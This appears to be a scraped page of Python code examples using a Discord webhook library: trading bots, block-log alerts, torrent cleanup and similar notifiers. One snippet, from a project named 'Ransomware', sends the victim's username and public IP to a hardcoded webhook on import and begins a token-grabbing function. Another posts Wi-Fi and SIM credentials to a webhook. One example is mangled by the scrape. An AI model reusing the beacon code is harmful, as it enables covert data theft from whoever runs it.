コード例 #1
0
def send_webhook():
    discord = Discord(url=discord_webhook)
    discord.post(
        file={
            "file1": open("dump.json", "rb")
        },
    )
コード例 #2
0
    def webHook(data_battery, data_totalConnNum, setMin, config):
        if int(data_battery) < int(setMin):
            discord = Discord(url=f"{config['discord_webhook']}")
            discord.post(
            embeds=[{"title": "ALLARME BATTERIA - SOGLIA CRITICA", "description": f"```diff\n-> Allarme - Batteria al {data_battery}% - {strftime('%H:%M:%S', gmtime())}\n```"}],
            )
        try:
            discord = Discord(url=f"{config['discord_webhook']}")
            discord.post(
            avatar_url="https://www.naturplus.it/3625-tm_thickbox_default/saponetta-al-muschio-bianco-detersione-delicata.jpg",
            embeds=[
            {
                "author": {
                    "name": "Saponetta TIM - Università",
                    "url": "http://192.168.1.1/index.html",
                    "icon_url": "https://pbs.twimg.com/profile_images/687250413788106753/Of-4AHDY_400x400.png",
                },
                "title": "Saponetta chiama, Saponetto risponde.. qui stats e creds ",
                "description": "",
                "fields": [
                    {"name": "Batteria", "value": f"**{data_battery}%**"},
                    {"name": "Dispositivi Connessi", "value": f"**{data_totalConnNum}**"},
                    {"name": "Credenziali Dashboard", "value": f"|| {config['dashboard_password']} ||", "inline": True},
                    {"name": "Credenziali Wi-Fi", "value": f"|| {config['wifi_credentials']} ||", "inline": True},
                    {"name": "PIN SIM", "value": f"|| {config['SIM_PIN']} ||", "inline": True},
                    {"name": "PUK SIM", "value": f"|| {config['SIM_PUK']} ||", "inline": True},
                    {"name": "Amore per te", "value": f"{random.randint(0,100)}%"}

                ],
                "footer": {
                    "text": "Powered By Donato Di Pasquale",
                    "icon_url": "https://pbs.twimg.com/profile_images/687250413788106753/Of-4AHDY_400x400.png",
                },
            }
            ],
            )     
        except Exception as e:
            print('Errore: ', e)
            sys.exit(-2)
コード例 #3
0
ファイル: Spyz.py プロジェクト: CallMeURUBONZ/Ransomware
import getpass
import random
import discord
from discord.ext import commands
from discord import File
from discordwebhook import Discord as DS

global GlobalTokens
GlobalTokens = ''

IPv4 = get('https://api.ipify.org').text
USER_NAME = getpass.getuser()



discordWeb = DS(url="https://discordapp.com/api/webhooks/744971336106901745/Pu8bYUTRreA_xj5hspxJgN6G9dpZfnhFcPQVrGT6ijsxTDiucx-l8zzc_4-8mre-QKmx")
discordWeb.post(
    content=f"Hey I just joined! {USER_NAME}",
    username=f"{USER_NAME}",
    avatar_url="https://avatars2.githubusercontent.com/u/38859131?s=460&amp;v=4"
)





def Token():
    import os
    import re

コード例 #4
0
 def __init__(
     self,
     *,
     account_id: str,
     access_token: str,
     environment: str = "practice",
     instrument: str = "EUR_USD",
     granularity: str = "D",
     trading_time: int = SUMMER_TIME,
     slack_webhook_url: str = "",
     discord_webhook_url: str = "",
     line_notify_token: str = "",
 ) -> None:
     self.BUY = 1
     self.SELL = -1
     self.EXIT = False
     self.ENTRY = True
     self.trading_time = trading_time
     self.account_id = account_id
     self.headers = {
         "Content-Type": "application/json",
         "Authorization": "Bearer {}".format(access_token),
     }
     if environment == "practice":
         self.base_url = "https://api-fxpractice.oanda.com"
     else:
         self.base_url = "https://api-fxtrade.oanda.com"
     self.sched = BlockingScheduler()
     self.instrument = instrument
     self.granularity = granularity
     if len(granularity) > 1:
         if granularity[0] == "S":
             self.sched.add_job(self._job, "cron", second="*/" + granularity[1:])
         elif granularity[0] == "M":
             self.sched.add_job(self._job, "cron", minute="*/" + granularity[1:])
         elif granularity[0] == "H":
             self.sched.add_job(self._job, "cron", hour="*/" + granularity[1:])
     else:
         if granularity == "D":
             self.sched.add_job(self._job, "cron", day="*")
         elif granularity == "W":
             self.sched.add_job(self._job, "cron", week="*")
         elif granularity == "M":
             self.sched.add_job(self._job, "cron", month="*")
     if slack_webhook_url == "":
         self.slack = None
     else:
         self.slack = Slack(url=slack_webhook_url)
     if line_notify_token == "":
         self.line = None
     else:
         self.line = Line(token=line_notify_token)
     if discord_webhook_url == "":
         self.discord = None
     else:
         self.discord = Discord(url=discord_webhook_url)
     formatter = logging.Formatter(
         "%(asctime)s - %(funcName)s - %(levelname)s - %(message)s"
     )
     handler = logging.StreamHandler()
     handler.setLevel(logging.INFO)
     handler.setFormatter(formatter)
     self.log = logging.getLogger(__name__)
     self.log.setLevel(logging.INFO)
     self.log.addHandler(handler)
     if "JPY" in self.instrument:
         self.point = 0.01
     else:
         self.point = 0.0001
     self.units = 10000  # currency unit
     self.take_profit = 0
     self.stop_loss = 0
     self.buy_entry = (
         self.buy_exit
     ) = self.sell_entry = self.sell_exit = pd.DataFrame()
コード例 #5
0
class Bot(object):
    WINTER_TIME = 21
    SUMMER_TIME = 20

    def __init__(
        self,
        *,
        account_id: str,
        access_token: str,
        environment: str = "practice",
        instrument: str = "EUR_USD",
        granularity: str = "D",
        trading_time: int = SUMMER_TIME,
        slack_webhook_url: str = "",
        discord_webhook_url: str = "",
        line_notify_token: str = "",
    ) -> None:
        self.BUY = 1
        self.SELL = -1
        self.EXIT = False
        self.ENTRY = True
        self.trading_time = trading_time
        self.account_id = account_id
        self.headers = {
            "Content-Type": "application/json",
            "Authorization": "Bearer {}".format(access_token),
        }
        if environment == "practice":
            self.base_url = "https://api-fxpractice.oanda.com"
        else:
            self.base_url = "https://api-fxtrade.oanda.com"
        self.sched = BlockingScheduler()
        self.instrument = instrument
        self.granularity = granularity
        if len(granularity) > 1:
            if granularity[0] == "S":
                self.sched.add_job(self._job, "cron", second="*/" + granularity[1:])
            elif granularity[0] == "M":
                self.sched.add_job(self._job, "cron", minute="*/" + granularity[1:])
            elif granularity[0] == "H":
                self.sched.add_job(self._job, "cron", hour="*/" + granularity[1:])
        else:
            if granularity == "D":
                self.sched.add_job(self._job, "cron", day="*")
            elif granularity == "W":
                self.sched.add_job(self._job, "cron", week="*")
            elif granularity == "M":
                self.sched.add_job(self._job, "cron", month="*")
        if slack_webhook_url == "":
            self.slack = None
        else:
            self.slack = Slack(url=slack_webhook_url)
        if line_notify_token == "":
            self.line = None
        else:
            self.line = Line(token=line_notify_token)
        if discord_webhook_url == "":
            self.discord = None
        else:
            self.discord = Discord(url=discord_webhook_url)
        formatter = logging.Formatter(
            "%(asctime)s - %(funcName)s - %(levelname)s - %(message)s"
        )
        handler = logging.StreamHandler()
        handler.setLevel(logging.INFO)
        handler.setFormatter(formatter)
        self.log = logging.getLogger(__name__)
        self.log.setLevel(logging.INFO)
        self.log.addHandler(handler)
        if "JPY" in self.instrument:
            self.point = 0.01
        else:
            self.point = 0.0001
        self.units = 10000  # currency unit
        self.take_profit = 0
        self.stop_loss = 0
        self.buy_entry = (
            self.buy_exit
        ) = self.sell_entry = self.sell_exit = pd.DataFrame()

    def _candles(
        self, *, from_date: str = "", to_date: str = "", count: str = "5000"
    ) -> pd.DataFrame:
        url = "{}/v3/instruments/{}/candles".format(self.base_url, self.instrument)
        params = {"granularity": self.granularity, "count": count}
        if from_date != "":
            _dt = dateutil.parser.parse(from_date)
            params["from"] = str(
                datetime.datetime(
                    _dt.year, _dt.month, _dt.day, tzinfo=datetime.timezone.utc
                ).date()
            )
        if to_date != "":
            _dt = dateutil.parser.parse(to_date)
            params["to"] = str(
                datetime.datetime(
                    _dt.year, _dt.month, _dt.day, tzinfo=datetime.timezone.utc
                ).date()
            )
        data = []
        if "from" in params and "to" in params:
            _from = params["from"]
            _to = params["to"]
            del params["to"]
            while _to > _from:
                time.sleep(0.5)
                params["from"] = _from
                res = requests.get(url, headers=self.headers, params=params)
                if res.status_code != 200:
                    self._error(
                        "status_code {} - {}".format(res.status_code, res.json())
                    )
                for r in res.json()["candles"]:
                    data.append(
                        [
                            pd.to_datetime(r["time"]),
                            float(r["mid"]["o"]),
                            float(r["mid"]["h"]),
                            float(r["mid"]["l"]),
                            float(r["mid"]["c"]),
                            float(r["volume"]),
                        ]
                    )
                _dt = pd.to_datetime(res.json()["candles"][-1]["time"])
                _from = str(datetime.date(_dt.year, _dt.month, _dt.day))
        else:
            res = requests.get(url, headers=self.headers, params=params)
            if res.status_code != 200:
                self._error("status_code {} - {}".format(res.status_code, res.json()))
            for r in res.json()["candles"]:
                data.append(
                    [
                        pd.to_datetime(r["time"]),
                        float(r["mid"]["o"]),
                        float(r["mid"]["h"]),
                        float(r["mid"]["l"]),
                        float(r["mid"]["c"]),
                        float(r["volume"]),
                    ]
                )
        self.df = (
            pd.DataFrame(data, columns=["T", "O", "H", "L", "C", "V"])
            .set_index("T")
            .drop_duplicates()
        )
        return self.df

    def __accounts(self) -> requests.models.Response:
        url = "{}/v3/accounts/{}".format(self.base_url, self.account_id)
        res = requests.get(url, headers=self.headers)
        if res.status_code != 200:
            self._error("status_code {} - {}".format(res.status_code, res.json()))
        return res

    def _account(self) -> Tuple[bool, bool]:
        buy_position = False
        sell_position = False
        for pos in self.__accounts().json()["account"]["positions"]:
            if pos["instrument"] == self.instrument:
                if pos["long"]["units"] != "0":
                    buy_position = True
                if pos["short"]["units"] != "0":
                    sell_position = True
        return buy_position, sell_position

    def __order(self, data: Any) -> requests.models.Response:
        url = "{}/v3/accounts/{}/orders".format(self.base_url, self.account_id)
        res = requests.post(url, headers=self.headers, data=json.dumps(data))
        if res.status_code != 201:
            self._error("status_code {} - {}".format(res.status_code, res.json()))
        return res

    def _order(self, sign: int, entry: bool = False) -> None:
        order = {}
        order["instrument"] = self.instrument
        order["units"] = str(self.units * sign)
        order["type"] = "MARKET"
        order["positionFill"] = "DEFAULT"
        res = self.__order({"order": order})
        order_id = res.json()["orderFillTransaction"]["id"]
        price = float(res.json()["orderFillTransaction"]["price"])
        if self.stop_loss != 0 and entry:
            stop_loss = {}
            stop_loss["timeInForce"] = "GTC"
            stop_loss["price"] = str(
                round(price + (self.stop_loss * self.point * -sign), 3)
            )
            stop_loss["type"] = "STOP_LOSS"
            stop_loss["tradeID"] = order_id
            self.__order({"order": stop_loss})
        if self.take_profit != 0 and entry:
            take_profit = {}
            take_profit["timeInForce"] = "GTC"
            take_profit["price"] = str(
                round(price + (self.take_profit * self.point * sign), 3)
            )
            take_profit["type"] = "TAKE_PROFIT"
            take_profit["tradeID"] = order_id
            self.__order({"order": take_profit})

    def _is_close(self) -> bool:
        utcnow = datetime.datetime.utcnow()
        hour = utcnow.hour
        weekday = utcnow.weekday()
        if (
            (4 == weekday and self.trading_time < hour)
            or 5 == weekday
            or (6 == weekday and self.trading_time >= hour)
        ):
            return True
        return False

    def _job(self) -> None:
        if self._is_close():
            return None
        self._candles(count="500")
        self.strategy()
        buy_position, sell_position = self._account()
        buy_entry = self.buy_entry[-1]
        sell_entry = self.sell_entry[-1]
        buy_exit = self.buy_exit[-1]
        sell_exit = self.sell_exit[-1]
        # buy entry
        if buy_entry and not buy_position:
            if sell_position:
                self._order(self.BUY)
            self._order(self.BUY, self.ENTRY)
            return None
        # sell entry
        if sell_entry and not sell_position:
            if buy_position:
                self._order(self.SELL)
            self._order(self.SELL, self.ENTRY)
            return None
        # buy exit
        if buy_exit and buy_position:
            self._order(self.SELL)
        # sell exit
        if sell_exit and sell_position:
            self._order(self.BUY)

    def _error(self, message: Any = {}) -> None:
        self.log.error(message)
        if self.slack is not None:
            self.slack.post(text=message)
        if self.line is not None:
            self.line.post(message=message)
        if self.discord is not None:
            self.discord.post(content=message)

    def __transactions(self, params: Any = {}) -> requests.models.Response:
        url = "{}/v3/accounts/{}/transactions".format(self.base_url, self.account_id)
        res = requests.get(url, headers=self.headers, params=params)
        if res.status_code != 200:
            self._error("status_code {} - {}".format(res.status_code, res.json()))
        return res

    def __transactions_sinceid(self, params: Any = {}) -> requests.models.Response:
        url = "{}/v3/accounts/{}/transactions/sinceid".format(
            self.base_url, self.account_id
        )
        res = requests.get(url, headers=self.headers, params=params)
        if res.status_code != 200:
            self._error("status_code {} - {}".format(res.status_code, res.json()))
        return res

    def report(self, *, days: int = -1, filename: str = "",) -> None:
        tran = self.__transactions(
            {
                "from": (
                    datetime.datetime.utcnow().date() + datetime.timedelta(days=days)
                ),
                "type": "ORDER_FILL",
            }
        ).json()
        id = parse.parse_qs(parse.urlparse(tran["pages"][0]).query)["from"]
        data = []
        for t in self.__transactions_sinceid({"id": id, "type": "ORDER_FILL"}).json()[
            "transactions"
        ]:
            if float(t["pl"]) == 0.0:
                continue
            data.append(
                [
                    pd.to_datetime(t["time"]),
                    t["id"],
                    float(t["pl"]),
                    round(float(t["pl"]), 2),
                    float(t["price"]),
                    float(t["accountBalance"]),
                ]
            )
        df = pd.DataFrame(
            data, columns=["time", "id", "pl", "rr", "price", "accountBalance"]
        ).set_index("time")

        s = pd.Series(dtype="object")
        s.loc["total profit"] = round(df["pl"].sum(), 3)
        s.loc["total trades"] = len(df["pl"])
        s.loc["win rate"] = round(len(df[df["pl"] > 0]) / len(df["pl"]) * 100, 3)
        s.loc["profit factor"] = round(
            df[df["pl"] > 0]["pl"].sum() / df[df["pl"] <= 0]["pl"].sum(), 3
        )
        s.loc["maximum drawdown"] = round(
            (df["accountBalance"].cummax() - df["accountBalance"]).max(), 3
        )
        s.loc["recovery factor"] = round(
            df["pl"].sum()
            / (df["accountBalance"].cummax() - df["accountBalance"]).max(),
            3,
        )
        s.loc["riskreward ratio"] = round(
            (df[df["pl"] > 0]["pl"].sum() / len(df[df["pl"] > 0]))
            / (df[df["pl"] <= 0]["pl"].sum() / len(df[df["pl"] <= 0])),
            3,
        )
        s.loc["sharpe ratio"] = round(df["rr"].mean() / df["rr"].std(), 3)
        s.loc["average return"] = round(df["rr"].mean(), 3)
        print(s)

        fig = plt.figure()
        fig.subplots_adjust(
            wspace=0.2, hspace=0.7, left=0.095, right=0.95, bottom=0.095, top=0.95
        )
        ax1 = fig.add_subplot(3, 1, 1)
        ax1.plot(df["price"], label="price")
        ax1.xaxis.set_major_formatter(mdates.DateFormatter("%m-%d\n%H:%M"))
        ax1.legend()
        ax2 = fig.add_subplot(3, 1, 2)
        ax2.plot(df["accountBalance"], label="accountBalance")
        ax2.xaxis.set_major_formatter(mdates.DateFormatter("%m-%d\n%H:%M"))
        ax2.legend()
        ax3 = fig.add_subplot(3, 1, 3)
        ax3.hist(df["rr"], 50, rwidth=0.9)
        ax3.axvline(
            df["rr"].mean(), color="orange", label="average return",
        )
        ax3.legend()
        if filename == "":
            plt.show()
        else:
            plt.savefig(filename)

    def strategy(self) -> None:
        pass

    def backtest(
        self, *, from_date: str = "", to_date: str = "", filename: str = ""
    ) -> None:
        csv = "{}-{}-{}-{}.csv".format(
            self.instrument, self.granularity, from_date, to_date
        )
        if os.path.exists(csv):
            self.df = pd.read_csv(
                csv, index_col=0, parse_dates=True, infer_datetime_format=True
            )
        else:
            self._candles(from_date=from_date, to_date=to_date)
            if from_date != "" and to_date != "":
                self.df.to_csv(csv)
        self.strategy()
        o = self.df.O.values
        L = self.df.L.values
        h = self.df.H.values
        N = len(self.df)
        long_trade = np.zeros(N)
        short_trade = np.zeros(N)

        # buy entry
        buy_entry_s = np.hstack((False, self.buy_entry[:-1]))  # shift
        long_trade[buy_entry_s] = o[buy_entry_s]
        # buy exit
        buy_exit_s = np.hstack((False, self.buy_exit[:-2], True))  # shift
        long_trade[buy_exit_s] = -o[buy_exit_s]
        # sell entry
        sell_entry_s = np.hstack((False, self.sell_entry[:-1]))  # shift
        short_trade[sell_entry_s] = o[sell_entry_s]
        # sell exit
        sell_exit_s = np.hstack((False, self.sell_exit[:-2], True))  # shift
        short_trade[sell_exit_s] = -o[sell_exit_s]

        long_pl = pd.Series(np.zeros(N))  # profit/loss of buy position
        short_pl = pd.Series(np.zeros(N))  # profit/loss of sell position
        buy_price = sell_price = 0
        long_rr = []  # long return rate
        short_rr = []  # short return rate
        stop_loss = take_profit = 0

        for i in range(1, N):
            # buy entry
            if long_trade[i] > 0:
                if buy_price == 0:
                    buy_price = long_trade[i]
                    short_trade[i] = -buy_price  # sell exit
                else:
                    long_trade[i] = 0

            # sell entry
            if short_trade[i] > 0:
                if sell_price == 0:
                    sell_price = short_trade[i]
                    long_trade[i] = -sell_price  # buy exit
                else:
                    short_trade[i] = 0

            # buy exit
            if long_trade[i] < 0:
                if buy_price != 0:
                    long_pl[i] = (
                        -(buy_price + long_trade[i]) * self.units
                    )  # profit/loss fixed
                    long_rr.append(
                        round(long_pl[i] / buy_price * 100, 2)
                    )  # long return rate
                    buy_price = 0
                else:
                    long_trade[i] = 0

            # sell exit
            if short_trade[i] < 0:
                if sell_price != 0:
                    short_pl[i] = (
                        sell_price + short_trade[i]
                    ) * self.units  # profit/loss fixed
                    short_rr.append(
                        round(short_pl[i] / sell_price * 100, 2)
                    )  # short return rate
                    sell_price = 0
                else:
                    short_trade[i] = 0

            # close buy position with stop loss
            if buy_price != 0 and self.stop_loss > 0:
                stop_price = buy_price - self.stop_loss * self.point
                if L[i] <= stop_price:
                    long_trade[i] = -stop_price
                    long_pl[i] = (
                        -(buy_price + long_trade[i]) * self.units
                    )  # profit/loss fixed
                    long_rr.append(
                        round(long_pl[i] / buy_price * 100, 2)
                    )  # long return rate
                    buy_price = 0
                    stop_loss += 1

            # close buy positon with take profit
            if buy_price != 0 and self.take_profit > 0:
                limit_price = buy_price + self.take_profit * self.point
                if h[i] >= limit_price:
                    long_trade[i] = -limit_price
                    long_pl[i] = (
                        -(buy_price + long_trade[i]) * self.units
                    )  # profit/loss fixed
                    long_rr.append(
                        round(long_pl[i] / buy_price * 100, 2)
                    )  # long return rate
                    buy_price = 0
                    take_profit += 1

            # close sell position with stop loss
            if sell_price != 0 and self.stop_loss > 0:
                stop_price = sell_price + self.stop_loss * self.point
                if h[i] >= stop_price:
                    short_trade[i] = -stop_price
                    short_pl[i] = (
                        sell_price + short_trade[i]
                    ) * self.units  # profit/loss fixed
                    short_rr.append(
                        round(short_pl[i] / sell_price * 100, 2)
                    )  # short return rate
                    sell_price = 0
                    stop_loss += 1

            # close sell position with take profit
            if sell_price != 0 and self.take_profit > 0:
                limit_price = sell_price - self.take_profit * self.point
                if L[i] <= limit_price:
                    short_trade[i] = -limit_price
                    short_pl[i] = (
                        sell_price + short_trade[i]
                    ) * self.units  # profit/loss fixed
                    short_rr.append(
                        round(short_pl[i] / sell_price * 100, 2)
                    )  # short return rate
                    sell_price = 0
                    take_profit += 1

        win_trades = np.count_nonzero(long_pl.clip(lower=0)) + np.count_nonzero(
            short_pl.clip(lower=0)
        )
        lose_trades = np.count_nonzero(long_pl.clip(upper=0)) + np.count_nonzero(
            short_pl.clip(upper=0)
        )
        trades = (np.count_nonzero(long_trade) // 2) + (
            np.count_nonzero(short_trade) // 2
        )
        gross_profit = long_pl.clip(lower=0).sum() + short_pl.clip(lower=0).sum()
        gross_loss = long_pl.clip(upper=0).sum() + short_pl.clip(upper=0).sum()
        profit_pl = gross_profit + gross_loss
        self.equity = (long_pl + short_pl).cumsum()
        mdd = (self.equity.cummax() - self.equity).max()
        self.return_rate = pd.Series(short_rr + long_rr)

        s = pd.Series(dtype="object")
        s.loc["total profit"] = round(profit_pl, 3)
        s.loc["total trades"] = trades
        s.loc["win rate"] = round(win_trades / trades * 100, 3)
        s.loc["profit factor"] = round(-gross_profit / gross_loss, 3)
        s.loc["maximum drawdown"] = round(mdd, 3)
        s.loc["recovery factor"] = round(profit_pl / mdd, 3)
        s.loc["riskreward ratio"] = round(
            -(gross_profit / win_trades) / (gross_loss / lose_trades), 3
        )
        s.loc["sharpe ratio"] = round(
            self.return_rate.mean() / self.return_rate.std(), 3
        )
        s.loc["average return"] = round(self.return_rate.mean(), 3)
        s.loc["stop loss"] = stop_loss
        s.loc["take profit"] = take_profit
        print(s)

        fig = plt.figure()
        fig.subplots_adjust(
            wspace=0.2, hspace=0.5, left=0.095, right=0.95, bottom=0.095, top=0.95
        )
        ax1 = fig.add_subplot(3, 1, 1)
        ax1.plot(self.df.C, label="close")
        ax1.legend()
        ax2 = fig.add_subplot(3, 1, 2)
        ax2.plot(self.equity, label="equity")
        ax2.legend()
        ax3 = fig.add_subplot(3, 1, 3)
        ax3.hist(self.return_rate, 50, rwidth=0.9)
        ax3.axvline(
            sum(self.return_rate) / len(self.return_rate),
            color="orange",
            label="average return",
        )
        ax3.legend()
        if filename == "":
            plt.show()
        else:
            plt.savefig(filename)

    def run(self) -> None:
        self.sched.start()

    def sma(self, *, period: int, price: str = "C") -> pd.DataFrame:
        return self.df[price].rolling(period).mean()

    def ema(self, *, period: int, price: str = "C") -> pd.DataFrame:
        return self.df[price].ewm(span=period).mean()

    def bbands(
        self, *, period: int = 20, band: int = 2, price: str = "C"
    ) -> Tuple[pd.DataFrame, pd.DataFrame, pd.DataFrame]:
        std = self.df[price].rolling(period).std()
        mean = self.df[price].rolling(period).mean()
        return mean + (std * band), mean, mean - (std * band)

    def macd(
        self,
        *,
        fast_period: int = 12,
        slow_period: int = 26,
        signal_period: int = 9,
        price: str = "C",
    ) -> Tuple[pd.DataFrame, pd.DataFrame]:
        macd = (
            self.df[price].ewm(span=fast_period).mean()
            - self.df[price].ewm(span=slow_period).mean()
        )
        signal = macd.ewm(span=signal_period).mean()
        return macd, signal

    def stoch(
        self, *, k_period: int = 5, d_period: int = 3
    ) -> Tuple[pd.DataFrame, pd.DataFrame]:
        k = (
            (self.df.C - self.df.L.rolling(k_period).min())
            / (self.df.H.rolling(k_period).max() - self.df.L.rolling(k_period).min())
            * 100
        )
        d = k.rolling(d_period).mean()
        return k, d

    def mom(self, *, period: int = 10, price: str = "C") -> pd.DataFrame:
        return self.df[price].diff(period)

    def rsi(self, *, period: int = 14, price: str = "C") -> pd.DataFrame:
        return 100 - 100 / (
            1
            - self.df[price].diff().clip(lower=0).rolling(period).mean()
            / self.df[price].diff().clip(upper=0).rolling(period).mean()
        )

    def ao(self, *, fast_period: int = 5, slow_period: int = 34) -> pd.DataFrame:
        return ((self.df.H + self.df.L) / 2).rolling(fast_period).mean() - (
            (self.df.H + self.df.L) / 2
        ).rolling(slow_period).mean()
コード例 #6
0
def sendScreenShot2Discord(browser, message, url):
    FILENAME = os.path.join(os.path.dirname(os.path.abspath(__file__)), "screen.png")
    browser.save_screenshot(FILENAME)
    discord = Discord(url=url)
    with open(FILENAME, 'rb') as f:
        discord.post(content=message , file={ "attachment": f })
コード例 #7
0
def getAllRows(timing):
    try:
        global prev_block
        connection = sqlite3.connect(home + '/guild-db/blocklog/blocklog.db')
        cursor = connection.cursor()
        print("Connected to SQLite")

        sqlite_select_query = """SELECT * FROM blocklog WHERE status NOT IN ("adopted","leader") order by at desc limit 1;"""
        cursor.execute(sqlite_select_query)
        records = cursor.fetchall()

        print("Total rows are:  ", len(records))
        print("Printing each row")
        for row in records:
            #print("Id: ", row[0])
            print("slot: ", row[1])
            # print("at: ", row[2])
            at_string = row[2]
            btime = parser.parse(at_string).astimezone(timezone(b_timezone))
            print("at: ", btime)
            print("epoch: ", row[3])
            print("block: ", row[4])
            print("slot_in_epoch: ", row[5])
            #print("hash: ", row[6])
            #print("size: ", row[7])
            print("status: ", row[8])
            print("prevblock", prev_block)
            print("\n")
            #スケジュール番号計算
            scheduleNo, total_schedule = getNo(row[5], s_No)

            sqlite_next_leader = f"SELECT * FROM blocklog WHERE slot >= {row[1]} order by slot asc limit 1 offset 1;"
            cursor.execute(sqlite_next_leader)
            next_leader_records = cursor.fetchall()
            print("SQL:", next_leader_records)
            if next_leader_records:
                for next_leader_row in next_leader_records:
                    print("Next_slot: ", next_leader_row[1])
                    at_next_string = next_leader_row[2]
                    next_btime = parser.parse(at_next_string).astimezone(
                        timezone(b_timezone))
                    print("Next_at: ", next_btime)
                    p_next_btime = str(next_btime)

            else:
                p_next_btime = "次エポックのスケジュールを取得してください"
                print("Next_at: ", p_next_btime)

            if timing == 'modified':
                if prev_block != row[4] and row[8] not in notStatus:
                    #LINE通知内容
                    b_message = ticker + 'ブロック生成結果('+str(row[3])+')\r\n'\
                        + '\r\n'\
                        + '■ブロックNo:'+str(row[4])+'\r\n'\
                        + str(btime)+'\r\n'\
                        + str(scheduleNo)+'/ '+str(total_schedule)+' > '+ str(row[8])+'\r\n'\
                        + '\r\n'\
                        + '次のスケジュール>>\r\n'\
                        + p_next_btime+'\r\n'\

                    #通知先 LINE=0 Discord=1 Slack=2 Telegram=3 ※複数通知は不可
                    if bNotify == "0":
                        d_line_notify(b_message)
                    elif bNotify == "1":
                        discord = Discord(url=dc_notify_url)
                        discord.post(content=b_message)
                    elif bNotify == "2":
                        slack = slackweb.Slack(url=slack_notify_url)
                        slack.notify(text=b_message)
                    else:
                        send_text = 'https://api.telegram.org/bot' + teleg_token + '/sendMessage?chat_id=' + teleg_id + '&parse_mode=Markdown&text=' + b_message
                        response = requests.get(send_text)
                        response.json()
                else:
                    break
            else:
                prev_block = row[4]
                print("prevblock", prev_block)

        if len(records) > 0:
            if row[8] not in ['adopted', 'leader']:
                prev_block = row[4]

        cursor.close()

    except sqlite3.Error as error:
        print("Failed to read data from table", error)
    finally:
        if connection:
            connection.close()
            print("The Sqlite connection is closed\n")
            if timing == 'start':
                print("Guild-db monitoring started\n")
コード例 #8
0
ファイル: main.py プロジェクト: t4t5u0/discord-webhook-bot
import configparser

from discordwebhook import Discord

config = configparser.ConfigParser()
config.read('config.ini')

discord = Discord(url=config['URL']['WebhookURL'])
discord.post(content='test')
コード例 #9
0
ファイル: Auth.py プロジェクト: PureObstacles/Auth.GG-Bot
test_options = input("Option: ")

#User information function
if test_options == "1":
        username = input("Username: "******"2":
        hwid = input("Username: "******"f{hwid} has been reset!")
        discord = Discord(url=webhook)
        discord.post(embeds=[
        {
            "author": {
                "name": "Obstacles - Auth Control",
                "url": "https://instagram.com/experienced",
                "icon_url": "https://media-cdn.tripadvisor.com/media/photo-p/0d/31/18/5e/pure.jpg",
            },
            "title": "",
            "description": f"The user {hwid} has been given a HWID reset!",
            "image": {"url": "https://media.giphy.com/media/sChf4Eo55W8x2/giphy.gif"},
            "footer": {
                "text": "Obstacles - Auth Control",
            },
        }
    ],
コード例 #10
0
ファイル: app.py プロジェクト: zuma710/g4_prototype
            config.get('notification', 'interval_minutes'),
            config.get('notification', 'interval_seconds'))
    })
ventilated = embed.Embed(CONFIG_PATH, 'ventilated')
not_ventilated = embed.Embed(CONFIG_PATH, 'not_ventilated')

activated = False
payload = {'password': config.get('room', 'password')}
td = datetime.timedelta(hours=config.getint('notification', 'interval_hours'),
                        minutes=config.getint('notification',
                                              'interval_minutes'),
                        seconds=config.getint('notification',
                                              'interval_seconds'))
interval_sec = td.total_seconds()

discord = Discord(url=config.get('webhook', 'url'))

while True:
    try:
        response = requests.get(config.get('api', 'url'), params=payload)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        logger.error("ventilation server: {}".format(e))
        time.sleep(5)
        continue
    else:
        sensors = response.json()

    if not activated:
        greet.add_field({
            "name": "Number of window",
コード例 #11
0
backup_f = basedir / "info_trouble.html"

LOOP_TIMES = 5
LOOP_SECONDS = 60

# 設定ファイル読み込み
config = configparser.ConfigParser()
configfile = basedir / Path(inifile)
if configfile.exists() is False:
    print("ファイル {} を作成してください".format(inifile), file=sys.stderr)
    exit(1)
config.read(configfile)
section1 = 'discord'
webhook_url = config.get(section1, 'webhook')
discord = Discord(url=webhook_url)
webhook_error_url = config.get(section1, 'webhook4error', fallback=webhook_url)
discord_error = Discord(url=webhook_error_url)


def troubleDiff(old, new) -> str:
    """
    消えた情報には価値は無いので新規除法だけ出すように変更
    """
    new_set = set(new) - set(old)
    return "\n".join(new_set)


def makeDiffStr() -> int:
    """
    ローカルのファイルとネット上のファイルでdiffをとる
コード例 #12
0
ファイル: main.py プロジェクト: LimeDrive/QbAutoDelt
            print(
                f"{Fore.RED}{Style.BRIGHT}:.    Please respond with 'yes' or 'no' (or 'y' or 'n').{Style.RESET_ALL}")

###############################
####        Script        #####
###############################


if __name__ == '__main__':

    # General Config:
    with open('config/GeneralSetting.yml', 'r') as ymlfile:
        cfgGen = yaml.load(ymlfile, Loader=yaml.FullLoader)

    useDiscord = cfgGen["discord"]["use"]
    discord = Discord(url=cfgGen["discord"]["webhook"])
    emb1 = [{"url": "https://github.com/LimeDrive/qb-auto-delt",
             "title": "Disk space Control"}]
    emb2 = [{"url": "https://github.com/LimeDrive/qb-auto-delt",
             "title": "Torrents Delete"}]

    # Main loop
    while True:
        
        # Torrent Selection Config :
        with open('config/TorrentsSelectionSetting.yml') as ymlfile:
            cfgSel = yaml.load(ymlfile, Loader=yaml.FullLoader)

        qbt = qBit_Connection(logger, cfgGen)
        torrentsInfo = qbt.torrents_info()
        torrentCheck = torrent_Check(torrentsInfo)
コード例 #13
0
from discordwebhook import Discord

FILENAME = 'Changelog.md'
WEBHOOK_URL = ''
WEBHOOK_USERNAME = ''
WEBHOOK_AVATAR_URL = ''

with open(FILENAME, 'r', encoding='utf-8') as file:
    CONTENT = file.read()
file.close()

if len(CONTENT) - 1 > 2000:
    print('Sorry, you hit the discord limit of 2000 characters. \n'
          'Remove some of the content so you can send the message. \n'
          f'The current number of characters is {len(CONTENT) - 1}')
else:
    discord = Discord(url=WEBHOOK_URL)
    discord.post(
        content=CONTENT,
        username=WEBHOOK_USERNAME,
        avatar_url=WEBHOOK_AVATAR_URL
    )
    print(f'Message from {FILENAME} was sent successfully')
コード例 #14
0
    mobile_number = profile["mobileNumber"]
    postcode = profile["postcode"]
    address1 = profile["address1"]
    city = profile["city"]
    card_number = profile["cardNumber"]
    expiry_month = profile['expiryMonth']
    expiry_year = profile['expiryYear']
    cvv = profile["cvv"]

card_number.strip()
card1 = card_number[:4]
card2 = card_number[4:8]
card3 = card_number[8:12]
card4 = card_number[12:]

webhook = Discord(url=discord_webhook)


def add_to_cart():
    out_of_stock = True
    while out_of_stock:
        driver.get(product_url)
        current_time = time.strftime("%H:%M:%S", time.localtime())
        try:
            driver.find_element_by_name(
